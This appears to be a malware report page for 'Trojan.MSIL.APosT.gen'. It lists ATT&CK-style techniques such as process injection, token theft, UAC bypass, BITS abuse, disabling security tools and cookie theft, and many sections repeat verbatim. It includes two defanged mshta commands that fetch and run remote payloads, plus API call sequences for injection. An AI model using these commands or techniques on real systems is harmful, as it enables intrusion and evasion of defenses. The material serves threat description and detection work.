Trojan.MSIL.APosT.gen

Adversaries may send spearphishing emails with a malicious attachment in an attempt to gain access to victim systems. Spearphishing attachment is a specific variant of spearphishing. Spearphishing attachment is different from other forms of spearphishing in that it employs the use of malware attached to an email. All forms of spearphishing are electronically delivered social engineering targeted at a specific individual, company, or industry. In this scenario, adversaries attach a file to the spearphishing email and usually rely upon User Execution to gain execution. Spearphishing may also involve social engineering techniques, such as posing as a trusted source.

There are many options for the attachment such as Microsoft Office documents, executables, PDFs, or archived files. Upon opening the attachment (and potentially clicking past protections), the adversary’s payload exploits a vulnerability or directly executes on the user’s system. The text of the spearphishing email usually tries to give a plausible reason why the file should be opened, and may explain how to bypass system protections in order to do so. The email may also contain instructions on how to decrypt an attachment, such as a zip file password, in order to evade email boundary defenses. Adversaries frequently manipulate file extensions and icons in order to make attached executables appear to be document files, or files exploiting one application appear to be a file for a different one.

Adversaries may exploit software vulnerabilities in client applications to execute code. Vulnerabilities can exist in software due to unsecure coding practices that can lead to unanticipated behavior. Adversaries can take advantage of certain vulnerabilities through targeted exploitation for the purpose of arbitrary code execution. Oftentimes the most valuable exploits to an offensive toolkit are those that can be used to obtain code execution on a remote system because they can be used to gain access to that system. Users will expect to see files related to the applications they commonly used to do work, so they are a useful target for exploit research and development because of their high utility.

Several types exist:

### Browser-based Exploitation

Web browsers are a common target through Drive-by Compromise and Spearphishing Link. Endpoint systems may be compromised through normal web browsing or from certain users being targeted by links in spearphishing emails to adversary controlled sites used to exploit the web browser. These often do not require an action by the user for the exploit to be executed.

### Office Applications

Common office and productivity applications such as Microsoft Office are also targeted through Phishing. Malicious files will be transmitted directly as attachments or through links to download them. These require the user to open the document or file for the exploit to run.

### Common Third-party Applications

Other applications that are commonly seen or are part of the software deployed in a target network may also be used for exploitation. Applications such as Adobe Reader and Flash, which are common in enterprise environments, have been routinely targeted by adversaries attempting to gain access to systems. Depending on the software and nature of the vulnerability, some may be exploited in the browser or require the user to open a file. For instance, some Flash exploits have been delivered as objects within Microsoft Office documents.

Adversaries may manipulate accounts to maintain and/or elevate access to victim systems. Account manipulation may consist of any action that preserves or modifies adversary access to a compromised account, such as modifying credentials or permission groups. These actions could also include account activity designed to subvert security policies, such as performing iterative password updates to bypass password duration policies and preserve the life of compromised credentials.

In order to create or manipulate accounts, the adversary must already have sufficient permissions on systems or the domain. However, account manipulation may also lead to privilege escalation where modifications grant access to additional roles, permissions, or higher-privileged Valid Accounts.

Adversaries may abuse BITS jobs to persistently execute code and perform various background tasks. Windows Background Intelligent Transfer Service (BITS) is a low-bandwidth, asynchronous file transfer mechanism exposed through Component Object Model (COM).(Citation: Microsoft COM)(Citation: Microsoft BITS) BITS is commonly used by updaters, messengers, and other applications preferred to operate in the background (using available idle bandwidth) without interrupting other networked applications. File transfer tasks are implemented as BITS jobs, which contain a queue of one or more file operations.

The interface to create and manage BITS jobs is accessible through PowerShell and the BITSAdmin tool.(Citation: Microsoft BITS)(Citation: Microsoft BITSAdmin)

Adversaries may abuse BITS to download (e.g. Ingress Tool Transfer), execute, and even clean up after running malicious code (e.g. Indicator Removal). BITS tasks are self-contained in the BITS job database, without new files or registry modifications, and often permitted by host firewalls.(Citation: CTU BITS Malware June 2016)(Citation: Mondok Windows PiggyBack BITS May 2007)(Citation: Symantec BITS May 2007) BITS enabled execution may also enable persistence by creating long-standing jobs (the default maximum lifetime is 90 days and extendable) or invoking an arbitrary program when a job completes or errors (including after system reboots).(Citation: PaloAlto UBoatRAT Nov 2017)(Citation: CTU BITS Malware June 2016)

BITS upload functionalities can also be used to perform Exfiltration Over Alternative Protocol.(Citation: CTU BITS Malware June 2016)

Adversaries may establish persistence by executing malicious content triggered by hijacked references to Component Object Model (COM) objects. COM is a system within Windows to enable interaction between software components through the operating system.(Citation: Microsoft Component Object Model) References to various COM objects are stored in the Registry.

Adversaries can use the COM system to insert malicious code that can be executed in place of legitimate software through hijacking the COM references and relationships as a means for persistence. Hijacking a COM object requires a change in the Registry to replace a reference to a legitimate system component which may cause that component to not work when executed. When that system component is executed through normal system operation the adversary’s code will be executed instead.(Citation: GDATA COM Hijacking) An adversary is likely to hijack objects that are used frequently enough to maintain a consistent level of persistence, but are unlikely to break noticeable functionality within the system as to avoid system instability that could lead to detection.

Adversaries may abuse features of Winlogon to execute DLLs and/or executables when a user logs in. Winlogon.exe is a Windows component responsible for actions at logon/logoff as well as the secure attention sequence (SAS) triggered by Ctrl-Alt-Delete. Registry entries in HKLMSoftware[\Wow6432Node\]MicrosoftWindows NTCurrentVersionWinlogon and HKCUSoftwareMicrosoftWindows NTCurrentVersionWinlogon are used to manage additional helper programs and functionalities that support Winlogon.(Citation: Cylance Reg Persistence Sept 2013)

Malicious modifications to these Registry keys may cause Winlogon to load and execute malicious DLLs and/or executables. Specifically, the following subkeys have been known to be possibly vulnerable to abuse: (Citation: Cylance Reg Persistence Sept 2013)

* WinlogonNotify – points to notification package DLLs that handle Winlogon events

* WinlogonUserinit – points to userinit.exe, the user initialization program executed when a user logs on

* WinlogonShell – points to explorer.exe, the system shell executed when a user logs on

Adversaries may take advantage of these features to repeatedly execute malicious code and establish persistence.

Adversaries may inject portable executables (PE) into processes in order to evade process-based defenses as well as possibly elevate privileges. PE injection is a method of executing arbitrary code in the address space of a separate live process.

PE injection is commonly performed by copying code (perhaps without a file on disk) into the virtual address space of the target process before invoking it via a new thread. The write can be performed with native Windows API calls such as VirtualAllocEx and WriteProcessMemory, then invoked with CreateRemoteThread or additional code (ex: shellcode). The displacement of the injected code does introduce the additional requirement for functionality to remap memory references. (Citation: Elastic Process Injection July 2017)

Running code in the context of another process may allow access to the process’s memory, system/network resources, and possibly elevated privileges. Execution via PE injection may also evade detection from security products since the execution is masked under a legitimate process.

Adversaries may inject malicious code into process via process doppelganging in order to evade process-based defenses as well as possibly elevate privileges. Process doppelganging is a method of executing arbitrary code in the address space of a separate live process.

Windows Transactional NTFS (TxF) was introduced in Vista as a method to perform safe file operations. (Citation: Microsoft TxF) To ensure data integrity, TxF enables only one transacted handle to write to a file at a given time. Until the write handle transaction is terminated, all other handles are isolated from the writer and may only read the committed version of the file that existed at the time the handle was opened. (Citation: Microsoft Basic TxF Concepts) To avoid corruption, TxF performs an automatic rollback if the system or application fails during a write transaction. (Citation: Microsoft Where to use TxF)

Although deprecated, the TxF application programming interface (API) is still enabled as of Windows 10. (Citation: BlackHat Process Doppelganging Dec 2017)

Adversaries may abuse TxF to a perform a file-less variation of Process Injection. Similar to Process Hollowing, process doppelganging involves replacing the memory of a legitimate process, enabling the veiled execution of malicious code that may evade defenses and detection. Process doppelganging’s use of TxF also avoids the use of highly-monitored API functions such as NtUnmapViewOfSection, VirtualProtectEx, and SetThreadContext. (Citation: BlackHat Process Doppelganging Dec 2017)

Process Doppelganging is implemented in 4 steps (Citation: BlackHat Process Doppelganging Dec 2017):

* Transact – Create a TxF transaction using a legitimate executable then overwrite the file with malicious code. These changes will be isolated and only visible within the context of the transaction.

* Load – Create a shared section of memory and load the malicious executable.

* Rollback – Undo changes to original executable, effectively removing malicious code from the file system.

* Animate – Create a process from the tainted section of memory and initiate execution.

This behavior will likely not result in elevated privileges since the injected process was spawned from (and thus inherits the security context) of the injecting process. However, execution via process doppelganging may evade detection from security products since the execution is masked under a legitimate process.

Adversaries may duplicate then impersonate another user’s existing token to escalate privileges and bypass access controls. For example, an adversary can duplicate an existing token using `DuplicateToken` or `DuplicateTokenEx`. The token can then be used with `ImpersonateLoggedOnUser` to allow the calling thread to impersonate a logged on user’s security context, or with `SetThreadToken` to assign the impersonated token to a thread.

An adversary may perform Token Impersonation/Theft when they have a specific, existing process they want to assign the duplicated token to. For example, this may be useful for when the target user has a non-network logon session on the system.

When an adversary would instead use a duplicated token to create a new process rather than attaching to an existing process, they can additionally Create Process with Token using `CreateProcessWithTokenW` or `CreateProcessAsUserW`. Token Impersonation/Theft is also distinct from Make and Impersonate Token in that it refers to duplicating an existing token, rather than creating a new one.

Adversaries may create a new process with an existing token to escalate privileges and bypass access controls. Processes can be created with the token and resulting security context of another user using features such as CreateProcessWithTokenW and runas.(Citation: Microsoft RunAs)

Creating processes with a token not associated with the current user may require the credentials of the target user, specific privileges to impersonate that user, or access to the token to be used. For example, the token could be duplicated via Token Impersonation/Theft or created via Make and Impersonate Token before being used to create a process.

While this technique is distinct from Token Impersonation/Theft, the techniques can be used in conjunction where a token is duplicated and then used to create a new process.

Adversaries may spoof the parent process identifier (PPID) of a new process to evade process-monitoring defenses or to elevate privileges. New processes are typically spawned directly from their parent, or calling, process unless explicitly specified. One way of explicitly assigning the PPID of a new process is via the CreateProcess API call, which supports a parameter that defines the PPID to use.(Citation: DidierStevens SelectMyParent Nov 2009) This functionality is used by Windows features such as User Account Control (UAC) to correctly set the PPID after a requested elevated process is spawned by SYSTEM (typically via svchost.exe or consent.exe) rather than the current user context.(Citation: Microsoft UAC Nov 2018)

Adversaries may abuse these mechanisms to evade defenses, such as those blocking processes spawning directly from Office documents, and analysis targeting unusual/potentially malicious parent-child process relationships, such as spoofing the PPID of PowerShell/Rundll32 to be explorer.exe rather than an Office document delivered as part of Spearphishing Attachment.(Citation: CounterCept PPID Spoofing Dec 2018) This spoofing could be executed via Visual Basic within a malicious Office document or any code that can perform Native API.(Citation: CTD PPID Spoofing Macro Mar 2019)(Citation: CounterCept PPID Spoofing Dec 2018)

Explicitly assigning the PPID may also enable elevated privileges given appropriate access rights to the parent process. For example, an adversary in a privileged user context (i.e. administrator) may spawn a new process and assign the parent as a process running as SYSTEM (such as lsass.exe), causing the new process to be elevated via the inherited access token.(Citation: XPNSec PPID Nov 2017)

Adversaries may establish persistence by executing malicious content triggered by hijacked references to Component Object Model (COM) objects. COM is a system within Windows to enable interaction between software components through the operating system.(Citation: Microsoft Component Object Model) References to various COM objects are stored in the Registry.

Adversaries can use the COM system to insert malicious code that can be executed in place of legitimate software through hijacking the COM references and relationships as a means for persistence. Hijacking a COM object requires a change in the Registry to replace a reference to a legitimate system component which may cause that component to not work when executed. When that system component is executed through normal system operation the adversary’s code will be executed instead.(Citation: GDATA COM Hijacking) An adversary is likely to hijack objects that are used frequently enough to maintain a consistent level of persistence, but are unlikely to break noticeable functionality within the system as to avoid system instability that could lead to detection.

Adversaries may abuse features of Winlogon to execute DLLs and/or executables when a user logs in. Winlogon.exe is a Windows component responsible for actions at logon/logoff as well as the secure attention sequence (SAS) triggered by Ctrl-Alt-Delete. Registry entries in HKLMSoftware[\Wow6432Node\]MicrosoftWindows NTCurrentVersionWinlogon and HKCUSoftwareMicrosoftWindows NTCurrentVersionWinlogon are used to manage additional helper programs and functionalities that support Winlogon.(Citation: Cylance Reg Persistence Sept 2013)

Malicious modifications to these Registry keys may cause Winlogon to load and execute malicious DLLs and/or executables. Specifically, the following subkeys have been known to be possibly vulnerable to abuse: (Citation: Cylance Reg Persistence Sept 2013)

* WinlogonNotify – points to notification package DLLs that handle Winlogon events

* WinlogonUserinit – points to userinit.exe, the user initialization program executed when a user logs on

* WinlogonShell – points to explorer.exe, the system shell executed when a user logs on

Adversaries may take advantage of these features to repeatedly execute malicious code and establish persistence.

Adversaries may bypass UAC mechanisms to elevate process privileges on system. Windows User Account Control (UAC) allows a program to elevate its privileges (tracked as integrity levels ranging from low to high) to perform a task under administrator-level permissions, possibly by prompting the user for confirmation. The impact to the user ranges from denying the operation under high enforcement to allowing the user to perform the action if they are in the local administrators group and click through the prompt or allowing them to enter an administrator password to complete the action.(Citation: TechNet How UAC Works)

If the UAC protection level of a computer is set to anything but the highest level, certain Windows programs can elevate privileges or execute some elevated Component Object Model objects without prompting the user through the UAC notification box.(Citation: TechNet Inside UAC)(Citation: MSDN COM Elevation) An example of this is use of Rundll32 to load a specifically crafted DLL which loads an auto-elevated Component Object Model object and performs a file operation in a protected directory which would typically require elevated access. Malicious software may also be injected into a trusted process to gain elevated privileges without prompting a user.(Citation: Davidson Windows)

Many methods have been discovered to bypass UAC. The Github readme page for UACME contains an extensive list of methods(Citation: Github UACMe) that have been discovered and implemented, but may not be a comprehensive list of bypasses. Additional bypass methods are regularly discovered and some used in the wild, such as:

* eventvwr.exe can auto-elevate and execute a specified binary or script.(Citation: enigma0x3 Fileless UAC Bypass)(Citation: Fortinet Fareit)

Another bypass is possible through some lateral movement techniques if credentials for an account with administrator privileges are known, since UAC is a single system security mechanism, and the privilege or integrity of a process running on one system will be unknown on remote systems and default to high integrity.(Citation: SANS UAC Bypass)

Adversaries may attempt to manipulate features of their artifacts to make them appear legitimate or benign to users and/or security tools. Masquerading occurs when the name or location of an object, legitimate or malicious, is manipulated or abused for the sake of evading defenses and observation. This may include manipulating file metadata, tricking users into misidentifying the file type, and giving legitimate task or service names.

Renaming abusable system utilities to evade security monitoring is also a form of Masquerading.(Citation: LOLBAS Main Site) Masquerading may also include the use of Proxy or VPNs to disguise IP addresses, which can allow adversaries to blend in with normal network traffic and bypass conditional access policies or anti-abuse protections.

Adversaries may rename legitimate system utilities to try to evade security mechanisms concerning the usage of those utilities. Security monitoring and control mechanisms may be in place for system utilities adversaries are capable of abusing. (Citation: LOLBAS Main Site) It may be possible to bypass those security mechanisms by renaming the utility prior to utilization (ex: rename rundll32.exe). (Citation: Elastic Masquerade Ball) An alternative case occurs when a legitimate utility is copied or moved to a different directory and renamed to avoid detections based on system utilities executing from non-standard paths. (Citation: F-Secure CozyDuke)

Adversaries may match or approximate the name or location of legitimate files or resources when naming/placing them. This is done for the sake of evading defenses and observation. This may be done by placing an executable in a commonly trusted directory (ex: under System32) or giving it the name of a legitimate, trusted program (ex: svchost.exe). In containerized environments, this may also be done by creating a resource in a namespace that matches the naming convention of a container pod or cluster. Alternatively, a file or container image name given may be a close approximation to legitimate programs/images or something innocuous.

Adversaries may also use the same icon of the file they are trying to mimic.

Adversaries may inject code into processes in order to evade process-based defenses as well as possibly elevate privileges. Process injection is a method of executing arbitrary code in the address space of a separate live process. Running code in the context of another process may allow access to the process’s memory, system/network resources, and possibly elevated privileges. Execution via process injection may also evade detection from security products since the execution is masked under a legitimate process.

There are many different ways to inject code into a process, many of which abuse legitimate functionalities. These implementations exist for every major OS but are typically platform specific.

More sophisticated samples may perform multiple process injections to segment modules and further evade detection, utilizing named pipes or other inter-process communication (IPC) mechanisms as a communication channel.

Adversaries may inject portable executables (PE) into processes in order to evade process-based defenses as well as possibly elevate privileges. PE injection is a method of executing arbitrary code in the address space of a separate live process.

PE injection is commonly performed by copying code (perhaps without a file on disk) into the virtual address space of the target process before invoking it via a new thread. The write can be performed with native Windows API calls such as VirtualAllocEx and WriteProcessMemory, then invoked with CreateRemoteThread or additional code (ex: shellcode). The displacement of the injected code does introduce the additional requirement for functionality to remap memory references. (Citation: Elastic Process Injection July 2017)

Running code in the context of another process may allow access to the process’s memory, system/network resources, and possibly elevated privileges. Execution via PE injection may also evade detection from security products since the execution is masked under a legitimate process.

Adversaries may inject malicious code into suspended and hollowed processes in order to evade process-based defenses. Process hollowing is a method of executing arbitrary code in the address space of a separate live process.

Process hollowing is commonly performed by creating a process in a suspended state then unmapping/hollowing its memory, which can then be replaced with malicious code. A victim process can be created with native Windows API calls such as CreateProcess, which includes a flag to suspend the processes primary thread. At this point the process can be unmapped using APIs calls such as ZwUnmapViewOfSection or NtUnmapViewOfSection before being written to, realigned to the injected code, and resumed via VirtualAllocEx, WriteProcessMemory, SetThreadContext, then ResumeThread respectively.(Citation: Leitch Hollowing)(Citation: Elastic Process Injection July 2017)

This is very similar to Thread Local Storage but creates a new process rather than targeting an existing process. This behavior will likely not result in elevated privileges since the injected process was spawned from (and thus inherits the security context) of the injecting process. However, execution via process hollowing may also evade detection from security products since the execution is masked under a legitimate process.

Adversaries may inject malicious code into process via process doppelganging in order to evade process-based defenses as well as possibly elevate privileges. Process doppelganging is a method of executing arbitrary code in the address space of a separate live process.

Windows Transactional NTFS (TxF) was introduced in Vista as a method to perform safe file operations. (Citation: Microsoft TxF) To ensure data integrity, TxF enables only one transacted handle to write to a file at a given time. Until the write handle transaction is terminated, all other handles are isolated from the writer and may only read the committed version of the file that existed at the time the handle was opened. (Citation: Microsoft Basic TxF Concepts) To avoid corruption, TxF performs an automatic rollback if the system or application fails during a write transaction. (Citation: Microsoft Where to use TxF)

Although deprecated, the TxF application programming interface (API) is still enabled as of Windows 10. (Citation: BlackHat Process Doppelganging Dec 2017)

Adversaries may abuse TxF to a perform a file-less variation of Process Injection. Similar to Process Hollowing, process doppelganging involves replacing the memory of a legitimate process, enabling the veiled execution of malicious code that may evade defenses and detection. Process doppelganging’s use of TxF also avoids the use of highly-monitored API functions such as NtUnmapViewOfSection, VirtualProtectEx, and SetThreadContext. (Citation: BlackHat Process Doppelganging Dec 2017)

Process Doppelganging is implemented in 4 steps (Citation: BlackHat Process Doppelganging Dec 2017):

* Transact – Create a TxF transaction using a legitimate executable then overwrite the file with malicious code. These changes will be isolated and only visible within the context of the transaction.

* Load – Create a shared section of memory and load the malicious executable.

* Rollback – Undo changes to original executable, effectively removing malicious code from the file system.

* Animate – Create a process from the tainted section of memory and initiate execution.

This behavior will likely not result in elevated privileges since the injected process was spawned from (and thus inherits the security context) of the injecting process. However, execution via process doppelganging may evade detection from security products since the execution is masked under a legitimate process.

Adversaries may delete files left behind by the actions of their intrusion activity. Malware, tools, or other non-native files dropped or created on a system by an adversary (ex: Ingress Tool Transfer) may leave traces to indicate to what was done within a network and how. Removal of these files can occur during an intrusion, or as part of a post-intrusion process to minimize the adversary’s footprint.

There are tools available from the host operating system to perform cleanup, but adversaries may use other tools as well.(Citation: Microsoft SDelete July 2016) Examples of built-in Command and Scripting Interpreter functions include del on Windows and rm or unlink on Linux and macOS.

Adversaries may modify file time attributes to hide new or changes to existing files. Timestomping is a technique that modifies the timestamps of a file (the modify, access, create, and change times), often to mimic files that are in the same folder. This is done, for example, on files that have been modified or created by the adversary so that they do not appear conspicuous to forensic investigators or file analysis tools.

Timestomping may be used along with file name Masquerading to hide malware and tools.(Citation: WindowsIR Anti-Forensic Techniques)

Adversaries may duplicate then impersonate another user’s existing token to escalate privileges and bypass access controls. For example, an adversary can duplicate an existing token using `DuplicateToken` or `DuplicateTokenEx`. The token can then be used with `ImpersonateLoggedOnUser` to allow the calling thread to impersonate a logged on user’s security context, or with `SetThreadToken` to assign the impersonated token to a thread.

An adversary may perform Token Impersonation/Theft when they have a specific, existing process they want to assign the duplicated token to. For example, this may be useful for when the target user has a non-network logon session on the system.

When an adversary would instead use a duplicated token to create a new process rather than attaching to an existing process, they can additionally Create Process with Token using `CreateProcessWithTokenW` or `CreateProcessAsUserW`. Token Impersonation/Theft is also distinct from Make and Impersonate Token in that it refers to duplicating an existing token, rather than creating a new one.

Adversaries may create a new process with an existing token to escalate privileges and bypass access controls. Processes can be created with the token and resulting security context of another user using features such as CreateProcessWithTokenW and runas.(Citation: Microsoft RunAs)

Creating processes with a token not associated with the current user may require the credentials of the target user, specific privileges to impersonate that user, or access to the token to be used. For example, the token could be duplicated via Token Impersonation/Theft or created via Make and Impersonate Token before being used to create a process.

While this technique is distinct from Token Impersonation/Theft, the techniques can be used in conjunction where a token is duplicated and then used to create a new process.

Adversaries may spoof the parent process identifier (PPID) of a new process to evade process-monitoring defenses or to elevate privileges. New processes are typically spawned directly from their parent, or calling, process unless explicitly specified. One way of explicitly assigning the PPID of a new process is via the CreateProcess API call, which supports a parameter that defines the PPID to use.(Citation: DidierStevens SelectMyParent Nov 2009) This functionality is used by Windows features such as User Account Control (UAC) to correctly set the PPID after a requested elevated process is spawned by SYSTEM (typically via svchost.exe or consent.exe) rather than the current user context.(Citation: Microsoft UAC Nov 2018)

Adversaries may abuse these mechanisms to evade defenses, such as those blocking processes spawning directly from Office documents, and analysis targeting unusual/potentially malicious parent-child process relationships, such as spoofing the PPID of PowerShell/Rundll32 to be explorer.exe rather than an Office document delivered as part of Spearphishing Attachment.(Citation: CounterCept PPID Spoofing Dec 2018) This spoofing could be executed via Visual Basic within a malicious Office document or any code that can perform Native API.(Citation: CTD PPID Spoofing Macro Mar 2019)(Citation: CounterCept PPID Spoofing Dec 2018)

Explicitly assigning the PPID may also enable elevated privileges given appropriate access rights to the parent process. For example, an adversary in a privileged user context (i.e. administrator) may spawn a new process and assign the parent as a process running as SYSTEM (such as lsass.exe), causing the new process to be elevated via the inherited access token.(Citation: XPNSec PPID Nov 2017)

Adversaries may abuse BITS jobs to persistently execute code and perform various background tasks. Windows Background Intelligent Transfer Service (BITS) is a low-bandwidth, asynchronous file transfer mechanism exposed through Component Object Model (COM).(Citation: Microsoft COM)(Citation: Microsoft BITS) BITS is commonly used by updaters, messengers, and other applications preferred to operate in the background (using available idle bandwidth) without interrupting other networked applications. File transfer tasks are implemented as BITS jobs, which contain a queue of one or more file operations.

The interface to create and manage BITS jobs is accessible through PowerShell and the BITSAdmin tool.(Citation: Microsoft BITS)(Citation: Microsoft BITSAdmin)

Adversaries may abuse BITS to download (e.g. Ingress Tool Transfer), execute, and even clean up after running malicious code (e.g. Indicator Removal). BITS tasks are self-contained in the BITS job database, without new files or registry modifications, and often permitted by host firewalls.(Citation: CTU BITS Malware June 2016)(Citation: Mondok Windows PiggyBack BITS May 2007)(Citation: Symantec BITS May 2007) BITS enabled execution may also enable persistence by creating long-standing jobs (the default maximum lifetime is 90 days and extendable) or invoking an arbitrary program when a job completes or errors (including after system reboots).(Citation: PaloAlto UBoatRAT Nov 2017)(Citation: CTU BITS Malware June 2016)

BITS upload functionalities can also be used to perform Exfiltration Over Alternative Protocol.(Citation: CTU BITS Malware June 2016)

Adversaries may abuse mshta.exe to proxy execution of malicious .hta files and Javascript or VBScript through a trusted Windows utility. There are several examples of different types of threats leveraging mshta.exe during initial compromise and for execution of code (Citation: Cylance Dust Storm) (Citation: Red Canary HTA Abuse Part Deux) (Citation: FireEye Attacks Leveraging HTA) (Citation: Airbus Security Kovter Analysis) (Citation: FireEye FIN7 April 2017)

Mshta.exe is a utility that executes Microsoft HTML Applications (HTA) files. (Citation: Wikipedia HTML Application) HTAs are standalone applications that execute using the same models and technologies of Internet Explorer, but outside of the browser. (Citation: MSDN HTML Applications)

Files may be executed by mshta.exe through an inline script: mshta vbscript:Close(Execute("GetObject(""script:https[:]//webserver/payload[.]sct"")"))

They may also be executed directly from URLs: mshta http[:]//webserver/payload[.]hta

Mshta.exe can be used to bypass application control solutions that do not account for its potential use. Since mshta.exe executes outside of the Internet Explorer’s security context, it also bypasses browser security settings. (Citation: LOLBAS Mshta)

Adversaries may abuse Regsvr32.exe to proxy execution of malicious code. Regsvr32.exe is a command-line program used to register and unregister object linking and embedding controls, including dynamic link libraries (DLLs), on Windows systems. The Regsvr32.exe binary may also be signed by Microsoft. (Citation: Microsoft Regsvr32)

Malicious usage of Regsvr32.exe may avoid triggering security tools that may not monitor execution of, and modules loaded by, the regsvr32.exe process because of allowlists or false positives from Windows using regsvr32.exe for normal operations. Regsvr32.exe can also be used to specifically bypass application control using functionality to load COM scriptlets to execute DLLs under user permissions. Since Regsvr32.exe is network and proxy aware, the scripts can be loaded by passing a uniform resource locator (URL) to file on an external Web server as an argument during invocation. This method makes no changes to the Registry as the COM object is not actually registered, only executed. (Citation: LOLBAS Regsvr32) This variation of the technique is often referred to as a “Squiblydoo” and has been used in campaigns targeting governments. (Citation: Carbon Black Squiblydoo Apr 2016) (Citation: FireEye Regsvr32 Targeting Mongolian Gov)

Regsvr32.exe can also be leveraged to register a COM Object used to establish persistence via Component Object Model Hijacking. (Citation: Carbon Black Squiblydoo Apr 2016)

Adversaries may employ various system checks to detect and avoid virtualization and analysis environments. This may include changing behaviors based on the results of checks for the presence of artifacts indicative of a virtual machine environment (VME) or sandbox. If the adversary detects a VME, they may alter their malware to disengage from the victim or conceal the core functions of the implant. They may also search for VME artifacts before dropping secondary or additional payloads. Adversaries may use the information learned from Virtualization/Sandbox Evasion during automated discovery to shape follow-on behaviors.(Citation: Deloitte Environment Awareness)

Specific checks will vary based on the target and/or adversary, but may involve behaviors such as Windows Management Instrumentation, PowerShell, System Information Discovery, and Query Registry to obtain system information and search for VME artifacts. Adversaries may search for VME artifacts in memory, processes, file system, hardware, and/or the Registry. Adversaries may use scripting to automate these checks into one script and then have the program exit if it determines the system to be a virtual environment.

Checks could include generic system properties such as host/domain name and samples of network traffic. Adversaries may also check the network adapters addresses, CPU core count, and available memory/drive size.

Other common checks may enumerate services running that are unique to these applications, installed programs on the system, manufacturer/product fields for strings relating to virtual machine applications, and VME-specific hardware/processor instructions.(Citation: McAfee Virtual Jan 2017) In applications like VMWare, adversaries can also use a special I/O port to send commands and receive output.

Hardware checks, such as the presence of the fan, temperature, and audio devices, could also be used to gather evidence that can be indicative a virtual environment. Adversaries may also query for specific readings from these devices.(Citation: Unit 42 OilRig Sept 2018)

Adversaries may bypass UAC mechanisms to elevate process privileges on system. Windows User Account Control (UAC) allows a program to elevate its privileges (tracked as integrity levels ranging from low to high) to perform a task under administrator-level permissions, possibly by prompting the user for confirmation. The impact to the user ranges from denying the operation under high enforcement to allowing the user to perform the action if they are in the local administrators group and click through the prompt or allowing them to enter an administrator password to complete the action.(Citation: TechNet How UAC Works)

If the UAC protection level of a computer is set to anything but the highest level, certain Windows programs can elevate privileges or execute some elevated Component Object Model objects without prompting the user through the UAC notification box.(Citation: TechNet Inside UAC)(Citation: MSDN COM Elevation) An example of this is use of Rundll32 to load a specifically crafted DLL which loads an auto-elevated Component Object Model object and performs a file operation in a protected directory which would typically require elevated access. Malicious software may also be injected into a trusted process to gain elevated privileges without prompting a user.(Citation: Davidson Windows)

Many methods have been discovered to bypass UAC. The Github readme page for UACME contains an extensive list of methods(Citation: Github UACMe) that have been discovered and implemented, but may not be a comprehensive list of bypasses. Additional bypass methods are regularly discovered and some used in the wild, such as:

* eventvwr.exe can auto-elevate and execute a specified binary or script.(Citation: enigma0x3 Fileless UAC Bypass)(Citation: Fortinet Fareit)

Another bypass is possible through some lateral movement techniques if credentials for an account with administrator privileges are known, since UAC is a single system security mechanism, and the privilege or integrity of a process running on one system will be unknown on remote systems and default to high integrity.(Citation: SANS UAC Bypass)

Adversaries may modify and/or disable security tools to avoid possible detection of their malware/tools and activities. This may take many forms, such as killing security software processes or services, modifying / deleting Registry keys or configuration files so that tools do not operate properly, or other methods to interfere with security tools scanning or reporting information. Adversaries may also disable updates to prevent the latest security patches from reaching tools on victim systems.(Citation: SCADAfence_ransomware)

Adversaries may also tamper with artifacts deployed and utilized by security tools. Security tools may make dynamic changes to system components in order to maintain visibility into specific events. For example, security products may load their own modules and/or modify those loaded by processes to facilitate data collection. Similar to Indicator Blocking, adversaries may unhook or otherwise modify these features added by tools (especially those that exist in userland or are otherwise potentially accessible to adversaries) to avoid detection.(Citation: OutFlank System Calls)(Citation: MDSec System Calls)

Adversaries may also focus on specific applications such as Sysmon. For example, the “Start” and “Enable” values in HKEY_LOCAL_MACHINESYSTEMCurrentControlSetControlWMIAutologgerEventLog-Microsoft-Windows-Sysmon-Operational may be modified to tamper with and potentially disable Sysmon logging.(Citation: disable_win_evt_logging)

On network devices, adversaries may attempt to skip digital signature verification checks by altering startup configuration files and effectively disabling firmware verification that typically occurs at boot.(Citation: Fortinet Zero-Day and Custom Malware Used by Suspected Chinese Actor in Espionage Operation)(Citation: Analysis of FG-IR-22-369)

In cloud environments, tools disabled by adversaries may include cloud monitoring agents that report back to services such as AWS CloudWatch or Google Cloud Monitor.

Furthermore, although defensive tools may have anti-tampering mechanisms, adversaries may abuse tools such as legitimate rootkit removal kits to impair and/or disable these tools.(Citation: chasing_avaddon_ransomware)(Citation: dharma_ransomware)(Citation: demystifying_ryuk)(Citation: doppelpaymer_crowdstrike) For example, adversaries have used tools such as GMER to find and shut down hidden processes and antivirus software on infected systems.(Citation: demystifying_ryuk)

Additionally, adversaries may exploit legitimate drivers from anti-virus software to gain access to kernel space (i.e. Exploitation for Privilege Escalation), which may lead to bypassing anti-tampering features.(Citation: avoslocker_ransomware)

Adversaries may log user keystrokes to intercept credentials as the user types them. Keylogging is likely to be used to acquire credentials for new access opportunities when OS Credential Dumping efforts are not effective, and may require an adversary to intercept keystrokes on a system for a substantial period of time before credentials can be successfully captured. In order to increase the likelihood of capturing credentials quickly, an adversary may also perform actions such as clearing browser cookies to force users to reauthenticate to systems.(Citation: Talos Kimsuky Nov 2021)

Keylogging is the most prevalent type of input capture, with many different ways of intercepting keystrokes.(Citation: Adventures of a Keystroke) Some methods include:

* Hooking API callbacks used for processing keystrokes. Unlike Credential API Hooking, this focuses solely on API functions intended for processing keystroke data.

* Reading raw keystroke data from the hardware buffer.

* Windows Registry modifications.

* Custom drivers.

* Modify System Image may provide adversaries with hooks into the operating system of network devices to read raw keystrokes for login sessions.(Citation: Cisco Blog Legacy Device Attacks)

An adversary may steal web application or service session cookies and use them to gain access to web applications or Internet services as an authenticated user without needing credentials. Web applications and services often use session cookies as an authentication token after a user has authenticated to a website.

Cookies are often valid for an extended period of time, even if the web application is not actively used. Cookies can be found on disk, in the process memory of the browser, and in network traffic to remote systems. Additionally, other applications on the targets machine might store sensitive authentication cookies in memory (e.g. apps which authenticate to cloud services). Session cookies can be used to bypasses some multi-factor authentication protocols.(Citation: Pass The Cookie)

There are several examples of malware targeting cookies from web browsers on the local system.(Citation: Kaspersky TajMahal April 2019)(Citation: Unit 42 Mac Crypto Cookies January 2019) There are also open source frameworks such as `Evilginx2` and `Muraena` that can gather session cookies through a malicious proxy (ex: Adversary-in-the-Middle) that can be set up by an adversary and used in phishing campaigns.(Citation: Github evilginx2)(Citation: GitHub Mauraena)

After an adversary acquires a valid cookie, they can then perform a Web Session Cookie technique to login to the corresponding web application.

